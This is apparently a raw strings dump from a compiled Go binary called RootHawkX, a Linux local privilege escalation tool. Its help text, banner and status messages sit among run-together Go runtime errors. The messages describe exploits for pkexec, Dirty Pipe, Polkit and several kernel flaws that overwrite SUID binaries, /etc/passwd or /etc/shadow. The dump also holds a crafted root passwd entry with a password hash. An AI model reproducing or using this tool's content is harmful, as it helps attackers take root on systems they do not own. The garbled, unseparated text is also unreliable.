writes/proc/self/mountinfoinvalid named captureAuthenticated as root!roothawk-cve-2021-4034Socket Bind failed: %v%s executing PinTheft /lib/time/zoneinfo.zipreflect.Value.MapIndexunexpected method stepinteger divide by zeroCountPagesInUse (test)ReadMetricsSlow (test)trace reader (blocked)trace goroutine statusGC weak to strong waitchan receive (durable)SIGSTKFLT: stack faultSIGTSTP: keyboard stopsend on closed channelgetenv before env initinterface conversion: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime: out of memory/gc/scan/globals:bytes/gc/heap/frees:objectsruntime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failed received during fork stack not a power of 2minpc or maxpc invalidnon-Go function at pc=argument list too longcannot allocate memoryremote address changedprotocol not availableprotocol not supportedaddress already in usenetwork is unreachable4656612873077392578125Inscriptional_ParthianNyiakeng_Puachue_Hmongzlib: invalid checksumexit hook invoked exiterror parsing regexp: unexpected length codeDirtyDecrypt / DirtyCBCInvalid hex payload: %vroothawk-cve-2026-43284roothawk-cve-2026-43503roothawk-cve-2026-46300roothawk-cve-2026-46331roothawk-cve-2026-46333roothawk-dirtydecrypt-*reflect.Value.Interfacereflect.Value.NumMethodindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanSIGIO: i/o now possibleSIGSYS: bad system callmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2 system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: eventfd failedruntime: netpoll failedpanic during preemptoffnanotime returning zeroschedule: holding locksprocresize: invalid argmisuse of profBuf.writeunexpected signal valuespan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCalloperation not permittedinterrupted system calldevice or resource busyno space left on deviceoperation not supportedCPU time limit exceededprofiling timer expired23283064365386962890625bytes.Buffer: too large", missing CPU support exit hook invoked panicpattern bits too long: invalid escape sequenceflate: internal error: exec: Stdout already setroothawk-cve-2021-4034-*Opening '%s' for read...Writing to dirty pipe...Determining pipe size...Pipe creation failed: %vinvalid line: no command/usr/share/lib/zoneinfo/tracecheckstackownershipwaiting for cgo callbackhash of unhashable type cannot open standard fdsspan has no free objectsruntime: found obj at *(/cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsruntime: epollctl failed [recovered, repanicked]stack trace unavailable runtime: mp.lockedInt = runqsteal: runq overflowgoroutine stack (system)unexpected syncgroup setdouble traceGCSweepStartfunction not implementedlevel 2 not synchronizedlink number out of rangeout of streams resourcesconnection reset by peerstructure needs cleaningfloating point exceptionfile size limit exceeded116415321826934814453125582076609134674072265625invalid argument to Intnzlib: invalid dictionaryinvalid pattern syntax: flate: maxBits too largeDirty Frag, aka CopyFail2context deadline exceeded/proc/sys/kernel/hostnameAuthenticated as %s (%s)![0-9]+\.[0-9]+(\.[0-9]+)*Write of '%s' successful!roothawk-cve-2026-43284-*roothawk-cve-2026-43503-*roothawk-cve-2026-46300-*roothawk-cve-2026-46331-*roothawk-cve-2026-46333-*2006-01-02T15:04:05Z07:00goroutine profile cleanupGOMAXPROCS updater (idle)chansend: spurious wakeup when attempting to open runtime·lock: lock countbad system huge page sizearena already initialized to unused region of spanunaligned sysNoHugePageOS/sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersnoscan object in scanSpanruntime: epollwait on fd slice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartno such file or directoryno such device or addressinvalid cross-device linkresource deadlock avoidedsocket type not supportedno buffer space availableoperation now in progressinconsistent poll.fdMutex2910383045673370361328125Error parsing version: %shash of unhashable type: GODEBUG: can not enable "impossible cgroup version RootHawkX -any [options]su: Authentication failureSocket creation failed: %vSetsockopt(key) failed: %v%s executing DirtyDecrypt /proc/sys/kernel/osreleaseunknown ABI parameter kindall goroutines stack traceSIGSTOP: stop, unblockableGC background sweeper waitnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizerfailed putFast after drainnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memoryno message of desired typeno CSI structure availableinvalid request descriptorname not unique on networkrequired key not available1455191522836685180664062572759576141834259033203125invalid argument to Int31ninvalid boolean flag %s: %vflag needs an argument: -%sinconsistent process statusos: unsupported signal typeos: process not initializedPackage '%s' was installed!PinTheft compile failed: %w is not assignable to type reflect.Value.UnsafePointerPageCachePagesLeaked (test)SIGILL: illegal instructionSIGXCPU: cpu limit exceededmakechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime·unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gc destroyed during GC phase runtime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsignal received during forksigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2timer when must be positive: unexpected return pc for channel number out of rangecommunication error on sendnot a XENIX named type filekey was rejected by service363797880709171295166015625BoundsDecode decoding errorabi.NewName: tag too long: httpservecontentkeepheadersexpression nests too deeplypolkit authentication bypassPolkit Authentication Bypass RootHawkX -e CVE-2022-0847[+] RootHawkX supported CVEsos: process already finishedos: process already releasedUnsupported architecture: %s%s executing CVE-2026-43284 %s executing CVE-2026-43503 %s executing CVE-2026-46331 %s executing CVE-2026-46333 unsupported compression for SIGHUP: terminal line hangupSIGWINCH: window size changeGC mark assist wait for workcomparing uncomparable type notewakeup - double wakeup (region exceeds uintptr range/gc/cleanups/queued:cleanups/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutines/sched/threads/total:threadsgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span fatal: morestack on gsignal runtime: casgstatus: oldval=gcstopm: negative nmspinningfindRunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largeprotocol driver not attachedfile descriptor in bad statedestination address required18189894035458564758300781259094947017729282379150390625abi.NewName: name too long: invalid path escape sequenceinternal RootHawk worker modepkexec path for CVE-2021-4034exec: Wait was already calledPolkit version is vulnerable!Zlib decompression failed: %vFailed to execute payload: %vsync.WaitGroup.Wait (durable)SIGPIPE: write to broken pipeSIGPWR: power failure restartruntime: mmap: access denied /cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-size:bytes/gc/stack/starting-size:bytesgc done but gcphase != _GCoffruntime: marking free object scanObject of a noscan objectaddspecial on invalid pointerruntime: summary max pages = runtime: levelShift[level] = doRecordGoroutineProfile gp1=runtime: eventfd failed with runtime: sudog with non-nil centersyscall inconsistent bp entersyscall inconsistent sp gfput: bad status (not Gdead)LockOSThread nesting overflowsemacquire not on the G stackruntime: split stack overflowstring concatenation too longinvalid function symbol tabletrace: reading after shutdownruntime: traceback stuck. pc=tried to trace dead goroutineruntime: impossible type kindtoo many open files in systemnumerical result out of rangemachine is not on the networkprotocol family not supportedoperation already in progressno XENIX semaphores available45474735088646411895751953125fixedFtoa: pow10 out of rangeinvalid character class rangeverbose output where supportederrSymlink is not user-visibleruntime.AddCleanup: ptr is nilstrings: negative Repeat countunexpected data in /etc/passwdfailed to read target file: %wSplice (File->Pipe) failed: %vFailed to open target file: %v%s compiling PinTheft with %s reflect: Elem of invalid type reflect: Len of non-array typecalled entry on non-entry nodeMapIter.Key called before Nextassignment to entry in nil mapSIGUSR1: user-defined signal 1SIGUSR2: user-defined signal 2SIGVTALRM: virtual alarm clockSIGPROF: profiling alarm clock (types from different scopes)failed to get system page sizeruntime: found in object at *( in prepareForSweep; sweepgen is reachable from finalizer /cpu/classes/total:cpu-seconds/gc/cleanups/executed:cleanups/gc/cycles/automatic:gc-cycles/sched/pauses/total/gc:seconds/sync/mutex/wait/total:seconds/godebug/non-default-behavior/runtime: epollctl failed with panic called with nil argumentcheckdead: inconsistent countsrunqputslow: queue is not fullruntime: bad pointer in frame invalid pointer found on stack locals stack map entries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangeinappropriate ioctl for devicesocket operation on non-socketprotocol wrong type for socket227373675443232059478759765625sync: inconsistent mutex statesync: unlock of unlocked mutexGODEBUG: unknown cpu feature "runtime: cgroup buffer length target does not look vulnerablefmt: unknown base; can't happenpattern contains path separatorfailed to create dirty pipe: %wSetsockopt(authsize) failed: %vDirtyDecrypt compile failed: %wmalformed time zone informationreflect: Len of non-array type slice bounds out of range [:%x]slice bounds out of range [%x:]SIGSEGV: segmentation violationinternal error - misuse of itabruntime: uninitialized listHead) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked object/memory/classes/heap/free:bytes/memory/classes/os-stacks:bytes (checking for goroutine leaks)steal with local work availablepacer: sweep done at heap size non in-use span in unswept listcasgstatus: bad incoming valuesresetspinning: not a spinning mP destroyed while GC is runningruntime: profBuf already closedfatal: bad g in signal handler signal_recv: inconsistent stateruntime: split stack overflow: ...additional frames elided... unsafe.String: len out of range.lib section in a.out corruptedcannot assign requested addressinvalid return from write: got 11368683772161602973937988281255684341886080801486968994140625mergeRuneSets odd length []runeencoding/hex: invalid byte: %#U RootHawkX -e CVE-2026-43284 -vpidStatus called in invalid modeAttempting escalation to root...CVE-2021-4034 compile failed: %wKernel version %s is vulnerable!Splice (Pipe->Socket) failed: %vsync: Unlock of unlocked RWMutexMapIter.Value called before Nextslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::]SIGFPE: floating-point exceptionSIGTTOU: background write to tty (types from different packages)/gc/finalizers/queued:finalizersruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = _cgo_pthread_key_created missingruntime: sudog with non-nil elemruntime: sudog with non-nil nextruntime: sudog with non-nil prevruntime: mcall function returnednon-Go code disabled sigaltstackruntime: newstack called from g=runtime: stack split at bad timepanic while printing panic valueresource temporarily unavailablenumerical argument out of domainsoftware caused connection abortuse of closed network connection28421709430404007434844970703125initial table capacity too large" not supported for cpu option "bufio: tried to fill full bufferinvalid value %q for flag -%s: %vbytes.Buffer.Grow: negative countauthencesn(hmac(sha256),cbc(aes))CVE-2026-43284 compile failed: %wCVE-2026-43503 compile failed: %wCVE-2026-46300 compile failed: %wCVE-2026-46331 compile failed: %wCVE-2026-46333 compile failed: %wreflect: slice index out of rangesync: RUnlock of unlocked RWMutex of method on nil interface valuereflect: Field index out of rangereflect: array index out of rangeslice bounds out of range [%x:%y]SIGCHLD: child status has changedSIGTTIN: background read from ttySIGXFSZ: file size limit exceededruntime: memory allocated by OS [misrounded allocation in sysAlloc/cpu/classes/gc/pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: failed mSpanList.insert runtime: epollcreate failed with runtime: morestack on g0, stack [runtime: castogscanstatus oldval=stoplockedm: inconsistent lockingfindRunnable: negative nmspinningfreeing stack not in a stack spanstackalloc not on scheduler stackruntime: goroutine stack exceeds runtime: text offset out of rangetimer period must be non-negativetoo many concurrent timer firingsruntime: name offset out of rangeruntime: type offset out of rangeskip everything and stop the walktoo many levels of symbolic linkswaiting for unsupported file type142108547152020037174224853515625710542735760100185871124267578125fixedFtoa called with digits > 18concurrent map read and map writetable must have positive capacityGODEBUG: no value specified for "unaligned 64-bit atomic operationregexp: unhandled case in compileleafCounts[maxBits][maxBits] != nPolkit D-Bus Authentication Bypasslist supported CVE exploit entriesflag provided but not defined: -%sexecutable file not found in $PATHAttempting to set user password...Attempting to set root password...%s compiling DirtyDecrypt with %s invalid line: no bracketed sectionreflect: Field of non-struct type reflect: Field index out of boundsreflect: string index out of rangeslice bounds out of range [:%x:%y]slice bounds out of range [%x:%y:]SIGURG: urgent condition on socketruntime: standard file descriptor out of memory allocating allArenas... too many potential issues ... /gc/finalizers/executed:finalizers/memory/classes/heap/objects:bytesruntime.SetFinalizer: cannot pass attempt to drain too many elementsspmc capacity must be a power of 2too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: netpollBreak write failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inconsistent bp entersyscallblock inconsistent sp runtime: g is running but p is notinvalid timer channel: no capacitytoo many references: cannot splice3552713678800500929355621337890625Attempting authentication as %s...invalid nested repetition operatorinvalid or unsupported Perl syntax -v Verbose outputrequired packages are not available%s compiling CVE-2021-4034 with %s failed to overwrite target file: %w2006-01-02T15:04:05.999999999Z07:00persistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedruntime: span inline mark bits nil?mismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockfindRunnable: netpoll with spinningpidleput: P has non-empty run queuefake timer executing with no bubbletraceback did not unwind completelynetwork dropped connection on resettransport endpoint is not connectedfile type does not support deadline1776356839400250464677810668945312588817841970012523233890533447265625os/signal: Notify using nil channelencoding/hex: odd length hex stringflate: corrupt input before offset Linux kernel LPE via pipe mechanism.invalid boolean value %q for -%s: %vstrings.Builder.Grow: negative countstrings: Join output length overflowUser '%s' was created with UID (%s)!Finished attempting to set password.Restoring contents of /etc/passwd...%s compiling CVE-2026-43284 with %s %s compiling CVE-2026-43503 with %s %s compiling CVE-2026-46331 with %s method ABI and value ABI don't alignlfstack node allocated from the heap) is larger than maximum page size (objects with pointers must be zeroedruntime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0Scan trace for cleanup/finalizer on /memory/classes/metadata/other:bytes/sched/goroutines/running:goroutines/sched/goroutines/waiting:goroutines/sched/goroutines-created:goroutines/sched/pauses/stopping/other:secondsspanQueue.destroy on non-empty queueuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: netpoll: eventfd ready for runtime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackfatal: recursive switchToCrashStack startm: P required for spinning=true) is not Grunnable or Gscanrunnable updateMaxProcsGoroutine: phase errorruntime: bad notifyList size - sync=signal arrived during cgo execution accessed data from freed user arena runtime: wrong goroutine in newstackruntime: invalid pc-encoded table f=accessing a corrupted shared library4440892098500626161694526672363281250123456789abcdefghijklmnopqrstuvwxyzrounded-up capacity overflows uint64invalid pattern syntax (+ after -): cannot create context from nil parentreflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicereflect.Value.Bytes of non-byte arraymethod ABI and value ABI do not alignruntime: allocation size out of range) is smaller than minimum page size (/cpu/classes/gc/mark/idle:cpu-seconds/sched/goroutines/runnable:goroutinessetprofilebucket: profile already setfailed to reserve page summary memory_cgo_notify_runtime_init_done missingfatal: concurrent switchToCrashStack bad oldval passed to castogscanstatusstartTheWorld: inconsistent mp->nextpCouldn't put Gs into empty local runqruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!value too large for defined data typecannot exec a shared library directlyoperation not possible due to RF-kill2220446049250313080847263336181640625godebug: unexpected IncNonDefault of runtime: cgroup invalid buffer lengthbisect.Hash: unexpected argument typeflag %s set at %s before being definedstrings: Repeat output length overflowapt info policykit-1 | grep 'Version:'su not found in PATH and not at %s: %wUnsupported architecture for -exec: %sindex out of range [%x] with length %ymakechan: invalid channel element typeunreachable method called. linker bug?/sched/goroutines/not-in-go:goroutinesgcBgMarkWorker: blackening not enabledcannot read stack of running goroutineruntime: blocked read on free polldescruntime: sudog with non-false isSelectarg size to reflect.call more than 1GBv could not fit in traceBytesPerNumbercan not access a needed shared library1110223024625156540423631668090820312555511151231257827021181583404541015625concurrent map iteration and map write RootHawkX -e [options]exec: environment variable contains NUL2006-01-02 15:04:05.999999999 -0700 MSTmismatched count during itab table copyout of memory allocating heap arena map/cpu/classes/gc/mark/assist:cpu-seconds/cpu/classes/scavenge/total:cpu-seconds/memory/classes/profiling/buckets:bytesspanQueue.destroy during the mark phasemspan.sweep: bad span state after sweepruntime: blocked write on free polldescsuspendG from non-preemptible goroutineruntime: casfrom_Gscanstatus failed gp=attempted to release P into a bad statestack growth not allowed in system calltraceback: unexpected SPWRITE function traceRegion: alloc with concurrent droptransport endpoint is already connectedSetctty set but Ctty not valid in childsyscall.releaseForkLock: negative count277555756156289135105907917022705078125missing argument to repetition operatortrailing backslash at end of expressionexecute one exploit by CVE name or alias -help Show this help menutime: Stop called on uninitialized TimerAttempting authentication as new user...%s executing CVE-2026-46300 (Fragnesia) MapIter.Key called on exhausted iteratorinvalid span in heapArena for user arenabulkBarrierPreWrite: unaligned argumentsruntime: typeBitsBulkBarrier with type refill of span with free space remaining/cpu/classes/scavenge/assist:cpu-secondsruntime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unknown mark worker modecannot free workbufs when work.full != 0runtime: out of memory: cannot allocate runtime: netpollBreak write failed with stopTheWorld: broken CPU time accountingglobal runq empty with non-zero runqsizemust be able to track idle limiter eventgoroutine stack size is not a power of 2address family not supported by protocol13877787807814456755295395851135253906256938893903907228377647697925567626953125Polkit pkexec local privilege escalation. -list List integrated CVEsunexpected call to os.Exit(0) during testwrite partially failed - %d bytes written[%s]can't call pointer on a non-pointer ValueMapIter.Next called on exhausted iterator closed, unable to open /dev/null, errno=runtime: pointer to heap type header nil?runtime: typeBitsBulkBarrier without typeWARNING: LIKELY CLEANUP/FINALIZER ISSUES /memory/classes/metadata/mspan/free:bytesruntime.SetFinalizer: second argument is gcSweep being done but phase is not GCoffobjects added out of order or overlappingmheap.freeSpanLocked - invalid stack freemheap.freeSpanLocked - invalid span stateattempted to add zero-sized address rangeruntime: blocked read on closing polldescstopTheWorld: not stopped (stopwait != 0) received on thread with no signal stack invalid timer: fake time but no syncgroupclone(CLONE_PIDFD) failed to return pidfd34694469519536141888238489627838134765625strconv: illegal AppendInt/FormatInt basebytes.Buffer.WriteTo: invalid Write countbytes.Reader.WriteTo: invalid Write countLinux Kernel COW Bug (net/sched act_pedit)runtime.AddCleanup: ptr is arena-allocatedSampling timing of password set command...Overwriting page cache of %s with %d bytessync/atomic: store of nil value into ValueMapIter.Value called on exhausted iterator bytes; incompatible with mutex flag mask persistentalloc: align is not a power of 2/cpu/classes/gc/mark/dedicated:cpu-seconds/memory/classes/metadata/mcache/free:bytes/memory/classes/metadata/mspan/inuse:bytesnon-empty mark queue after concurrent marksweep: tried to preserve a user arena spanruntime: blocked write on closing polldescacquireSudog: found s.elem != nil in cachefatal error: cgo callback before cgo call on a locked thread with no template threadunexpected signal during runtime execution received but handler not on signal stack stop of synctest timer from outside bubbletraceStopReadCPU called with trace enabledattempted to trace a bad status for a procout of memory allocating checkmarks bitmap173472347597680709441192448139190673828125867361737988403547205962240695953369140625internal error: call to runtimeSource.Seedexec: WaitDelay expired before I/O completeSampling timing of user creation command...multiple Read calls return no data or errorruntime: opened unexpected file descriptor /memory/classes/metadata/mcache/inuse:bytesruntime.SetFinalizer: first argument is nilruntime.SetFinalizer: finalizer already setgcBgMarkWorker: unexpected gcMarkWorkerModenon in-use span found with specials bit setgrew heap, but no adequate free space foundroot level max pages doesn't fit in summaryruntime: releaseSudog with non-nil gp.paramunknown runnable goroutine during bootstrapruntime: casfrom_Gscanstatus bad oldval gp=runtime:stoplockedm: lockedg (atomicstatus=methodValueCallFrameObjs is not in a modulesynctest timer accessed from outside bubbleinterrupted system call should be restartedbufio: tried to rewind past start of bufferreflect: funcLayout with interface receiver span on userArena.faultList has invalid sizesend on synctest channel from outside bubbleout of memory allocating heap arena metadataruntime: cannot remap pages in address space/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark phaseno P available, write barriers are forbiddencannot trace user goroutine on its own stackunsafe.Slice: ptr is nil and len is not zeroexecute every supported exploit in list ordercontext: internal error: missing cancel errorhandleTransientAcquire called in invalid modehandleTransientRelease called in invalid modereflect: internal error: invalid method indexclose of synctest channel from outside bubble may be in the same tiny block as finalizer transitioning GC to the same state as before?produced a trigger greater than the heap goaltried to run scavenger from another goroutineruntime: failed mSpanList.remove span.npages=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerocannot send after transport endpoint shutdownLinux local privilege escalation runner v1.1.0runtime.AddCleanup: ptr not in allocated blockAttempting to install '%s' by forcing UID=0...failed to force install of '%s' via packagekit%s compiling CVE-2026-46333 (%s mode) with %s slice bounds out of range [:%x] with length %ypanicwrap: unexpected string after type name: memory reservation exceeds address space limitfailed to put span on newly-allocated spanSPMCtried to park scavenger from another goroutinereleased less than one physical page of memorysysGrow bounds not aligned to pallocChunkBytesruntime: failed to create new OS thread (have runtime: panic before malloc heap initialized stopTheWorld: not stopped (status != _Pgcstop)select on synctest channel from outside bubbleruntime: name offset base pointer out of rangeruntime: type offset base pointer out of rangeruntime: text offset base pointer out of rangeboth Setctty and Foreground set in SysProcAttrinvariant failed: growthLeft is unexpectedly 0unexpected error wrapping poll.ErrFileClosing: %s executing CVE-2021-4034 with pkexec path %s [+]reflect.Value.Bytes of unaddressable byte arrayslice bounds out of range [::%x] with length %yreceive on synctest channel from outside bubbleruntime·lock: sleeping while lock is availableP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineracy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutineattempting to link in too many shared librariesbufio: reader returned negative count from Read%s compiling CVE-2026-46300 (Fragnesia) with %s slice bounds out of range [:%x] with capacity %y is reachable from cleanup or cleanup argument runtime: cannot map pages in arena address spaceruntime: malformed profBuf buffer - invalid sizeattempt to trace invalid or unsupported P statusstrconv: illegal AppendFloat/FormatFloat bitSizebufio: writer returned negative count from Write RootHawkX -e CVE-2026-31431 -backup /tmp/su.bakstrings.Reader.WriteTo: invalid WriteString countslice bounds out of range [::%x] with capacity %yinvalid memory address or nil pointer dereferencepanicwrap: unexpected string after package name: s.allocCount != s.nelems && freeIndex == s.nelemssweeper left outstanding across sweep generationsfully empty unfreed span set block found in resetcasgstatus: waiting for Gwaiting but is Grunnableinvalid or incomplete multibyte or wide characterAttempting to create user '%s' by forcing UID=0...Sampling timing of package installation command...mallocgc called with gcphase == _GCmarkterminationrecursive call during initialization - linker skewattempt to execute system stack code on user stackinternal error: too many releases of process handlelimiterEvent.stop: invalid limiter event type foundpotentially overlapping in-use allocations detectedfatal: systemstack called from unexpected goroutinegodebug: Value of name not listed in godebugs.All: user: Current requires cgo or %s set in environmentbackup path for CVE-2026-31431 before overwriting suunknown exploit %q, use -list to see supported namesfailed to correctly flush all P-owned cleanup blocksruntime: cannot disable permissions in address spaceruntime.SetFinalizer: pointer not in allocated blockruntime: use of FixAlloc_Alloc before FixAlloc_Init span set block with unpopped elements found in resetcasfrom_Gscanstatus: gp->status is not in scan statenon-concurrent sweep failed to drain all sweep queuesexited a goroutine internally locked to the OS threadsmall map with no empty slot (concurrent map writes?) -any Execute all exploits sequentiallypanic calling String method on zero %v for flag %s: %vcannot write to an offset aligned with a page boundaryruntime.m memory alignment too small for spinbit mutexmin size of malloc header is not a size class boundarygcControllerState.findRunnable: blackening not enabledno goroutines (main called runtime.Goexit) - deadlock!trace: non-empty full trace buffer for done generationtrace: non-empty full trace buffer for next generation goroutine running on other thread; stack unavailable bytes.Buffer: reader returned negative count from Readinternal error: negative process handle reference count$5$roothawk$hR5C1DUTiTY7hnxUoBtsXCKu4BDN2ejfTGwrQbBcSS.reflect: internal error: invalid use of makeMethodValuemheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan stateLinux kernel LPE via net/skbuff shared fragment cloning. ____ __ __ __ __ _ __ / __ \____ ____ / /_/ / / /___ __ __/ /_| |/ / / /_/ / __ \/ __ \/ __/ /_/ / __ `/ | /| / / //_/ / / _, _/ /_/ / /_/ / /_/ __ / /_/ /| |/ |/ / ,< / | /_/ |_|\____/\____/\__/_/ /_/\__,_/ |__/|__/_/|_/_/|_| strings: illegal use of non-zero Builder copied by valueCVE-2021-4034 needs gcc or cc on the target Linux VM: %wPinTheft needs gcc or cc on the target Linux machine: %wnon-empty pointer map passed for non-pointer-size valuesprofilealloc called without a P or outside bootstrappingdetected possible issues with cleanups and/or finalizersin gcMark expecting to see gcphase as _GCmarkterminationruntime: netpoll: eventfd ready for something unexpectedcannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=runtime: failed to disable profiling timer; timer_delete(non-Go code set up signal handler without SA_ONSTACK flagPolkit LPE via D-Bus requests bypassing credential checks.GODEBUG=execwait=2 detected a leaked exec.Cmd created by: Average time for password set to fail authentication is %sCVE-2026-43284 needs gcc or cc on the target Ubuntu VM: %wAverage time for user creation to fail authentication is %sroot:$1$roothawk$r35.SJ5XwEPfqBkwl4zJM1:0:0::/root:/bin/sh unknown target %q for CVE-2026-46333. Use 'key' or 'shadow'sync/atomic: store of inconsistently typed value into Valuereflect: reflect.Value.Elem on an invalid notinheap pointerruntime: mmap: too much locked memory (check 'ulimit -l'). tried to trace goroutine with invalid or unsupported statusDirtyDecrypt needs gcc or cc on the target Linux machine: %wreflect: call of reflect.Value.Len on ptr to non-array Valuemanual span allocation called with non-manually-managed typeaddr range base and limit are not in the same memory segmentruntime: failed to configure profiling timer; timer_settime(runtime: malformed profBuf buffer - tag and data out of syncruntime.AddCleanup: ptr is within arg, cleanup will never runexec: Cmd started a Process but leaked without a call to WaitAverage time for package install to fail authentication is %s is in a tiny block with other (possibly long-lived) values runtime: may need to increase max user processes (ulimit -u) CVE-2026-43503 needs gcc or cc on the target Linux machine: %wCVE-2026-46300 needs gcc or cc on the target Linux machine: %wCVE-2026-46331 needs gcc or cc on the target Linux machine: %wCVE-2026-46333 needs gcc or cc on the target Linux machine: %wreflect: reflect.Value.Pointer on an invalid notinheap pointerfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limiterEvent.stop: found wrong event in p's limiter event slotruntime: internal error: misuse of lockOSThread/unlockOSThreadruntime.AddCleanup: ptr is equal to arg, cleanup will never runinternal/sync.HashTrieMap: ran out of hash bits while iterating may be in the same tiny block as cleanup or cleanup argument malformed GOMEMLIMIT; see `go doc runtime/debug.SetMemoryLimit`0000000000000000000000000000000000000000000000000000000000000000 runtime.SetFinalizer: first argument was allocated into an arenaattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizeruntime.SetFinalizer: pointer not at beginning of allocated blockCVE-2026-31431: command path to run as root instead of spawning suruntime: unexpected error while checking standard file descriptor casGToWaitingForSuspendG with non-isWaitingForSuspendG wait reasonreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerrefill of span with reusable pointers remaining on pointer free listAllThreadsSyscall6 results differ between threads; runtime corruptedLinux kernel LPE exploiting crypto / AF_ALG / algif_aead logical flaws.exec: command with a non-nil Cancel was not created with CommandContexttoo many concurrent operations on a single file or socket (max 1048575)Linux kernel LPE via net/sched act_pedit to overwrite kernel dirty data.specify a target function/module (e.g. shadow or key for CVE-2026-46333)runtime.Goexit called in a thread that was not created by the Go runtime -e Execute specific CVE by name (e.g. -e CVE-2022-0847)Linux kernel LPE involving xfrm/esp and shared skb frags in network stack. -backup Path to backup su before execution for CVE-2026-31431runtime.AddCleanup: cleanup function closes over ptr, cleanup will never runPackage '%s' is not installed, trying to force installation via packagekit...MapIter.Next called on an iterator that does not have an associated map Valuecannot convert slice with length %y to array or pointer to array with length %x -pk Path to pkexec for CVE-2021-4034 (default: /usr/bin/pkexec)[!] No target specified, defaulting to 'key'. Use -target shadow for /etc/shadow. (bad use of unsafe.Pointer or having race conditions? try -d=checkptr or -race) expected all size classes up to min size for malloc header to fit in one-page spansreflect.Value.Interface: cannot return value obtained from unexported field or methodreflect: New of type that may not be allocated in heap (possibly undefined cgo C type) -exec Command path to run as root instead of spawning su for CVE-2026-31431 -target Specify target module/function (e.g., key or shadow for CVE-2026-46333)Please exit the shell once you are finished to ensure the contents of /etc/passwd is restored.Linux kernel LPE exploiting XFRM ESP-in-TCP subsystem flaw to overwrite /usr/bin/su via page cache.cgocheck > 1 mode is no longer supported at runtime. Use GOEXPERIMENT=cgocheck2 at build time instead.[!] CVE-2026-43503 modifies page cache of a SUID binary. Reboot or restore the backup file to clean up.[!] CVE-2026-46331 modifies page cache of a SUID binary. Reboot or restore the backup file to clean up.Linux kernel LPE (CVE-2026-31635) utilizing rxgk_decrypt_skb() missing COW protection for page cache overwrite.[!] PinTheft modifies page cache of a SUID binary. Reboot 